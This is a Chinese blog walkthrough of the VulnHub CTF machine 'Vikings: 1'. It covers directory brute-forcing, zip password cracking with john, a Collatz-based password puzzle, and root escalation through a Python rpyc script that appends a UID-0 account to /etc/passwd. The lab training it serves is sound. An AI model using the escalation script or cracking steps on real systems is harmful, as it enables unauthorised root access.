VulnHub靶机渗透实战9-vikings

本次靶机是CTF风格的靶机。

靶场地址:Vikings: 1 ~ VulnHub

 网络呢还是桥接模式。

 Description

Back to the Top

A CTF machine with full of challenges

Do what is visible, no rabbit holes

Learn new things, and make sure that you enum first then hack.

Discord- luckythandel#6053 {for any-hint}

This works better with VirtualBox rather than VMware

 一;信息收集哇。

1;快速简单方便的发现主机和开放的服务端口。

 2;访问一下,很帅。

 3;爆破一下子目录。

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.1.60/site/ -x txt,tar.tar.gz,php

4;看一下有没有什么有用的东西。只有二百能访问到。

5;将base64编码(最后存在=,猜测应该是base64)的字符串进行解码保存到本地并使用file查看文件类型,获得文件类型为zip。

curl http://192.168.1.66/site/war-is-over/ | base64 -d > upfine

 6;修改后缀,查看一下,需要密码。

fcrackzip工具也能用来爆破密码。

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失败。

 7;用zip2john工具爆破。用字典爆破密码。

zip2john upfine.zip > paswd

john --wordlist=/usr/share/wordlists/rockyou.txt paswd

binwalk -e king --run-as=root

换这个工具查看隐藏信息,然后提取出来,然后提示我们加--run-as=root,之后目录下会多个目录,

 用户名密码:floki/f@m0usboatbuilde7

 

 二;漏洞枚举

1;登录ssh,

 2;看看是什么东西。

 我是著名的造船师弗洛基。我们竭尽全力袭击了巴黎但还是失败了。战后我们不知道拉格纳在哪。他现在很悲伤。我想向他道歉。
因为是我领导了所有的维京人。我得找到他。他可能在任何地方。

#可打印字符是你的盟友。
#num = 29个质数。
collatz-conjecture (num)

3;考拉兹猜想

collatz-conjecture经过搜索为考拉兹猜想(英语:Collatz conjecture),又称为奇偶归一猜想、3n+1猜想、冰雹猜想、角谷猜想、哈塞猜想、乌拉姆猜想或叙拉古猜想,是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1。通过前面对数列求解的认识,我们可以类似的编写程序。这里判断奇数/偶数可以用求余函数mod,判断可以用if语句,循环终止是数列的某项达到1,可以用while语句。

所以boat的意思是让我们对第二十九个质数做考拉兹猜想,所得到的数的数列,其中可打印的字符(ascall可以代表的字符,256以内),就是我们要得到的

首先我们编写一段简单的python代码来计算出第二十九个质数。

n = 0
for i in range(1000):
    flag = 0
    if i < 2:
        continue
    j = int(i/2) + 1
    for k in range(2,j):
        if i % k == 0:
            flag = 1
            break
    if flag == 0:
        n += 1
        print("第",n,"个质数为",i)

 

 再编写一个简单python做考拉兹猜想,并且输出所有ascall为256以内的字符。

n = 109
num = []
num.append(n)
while n != 1:
    if n % 2 == 0:
        n =int(n / 2)
    else:
        n= int(3 * n + 1)
    if(n < 256):
        num.append(n)
print(num)
for i in num:
    j = chr(i)
    print(j,end='')

 4;使用cyberchef的Strings模块分出所有可打印的字符,因为输出是每个字符占一行所以再用replace模块替换掉换行符方便复制密码,也要掉所有空格.

 5;所以,ragnar用户的密码是:mR)|>^/Gky[gz=\.F#j5P(

第一个falg. 

升级一下shell:/bin/bash -i

 三;提权,

linux登录自动执行命令,可以通过

  1. 对于当前用户生效的

  2. 编辑当前主目录下的.bashrc文件添加一个指令

  3. 编辑当前主目录下的.profile文件

  4. .bash_profile文件

  5. 对于全局用户生效的

  6. /etc/profile

 有一个文件是以root权限运行。通过搜索我们发现这个程序也是一个客户端服务端的程序,并且这个服务端文件的运行用户为root,我们可以通过编写代码向服务端发送特殊请求来获得root用户的shell。

 1;写shell,调用有root执行rpyc.classic.connect文件的权限,创建一个用户和用户密码,写入shell,然后执行,最后,su sing。哦了!

import rpyc
def exp():
    import os
    os.system("echo 'sing:$1$tad/je9c$twFkrVbv69ZQt3mPBFrHX1:0:0:root:/root:/bin/bash' >> /etc/passwd")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(exp)
fn()

 2;提权成功,第二个falg.

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值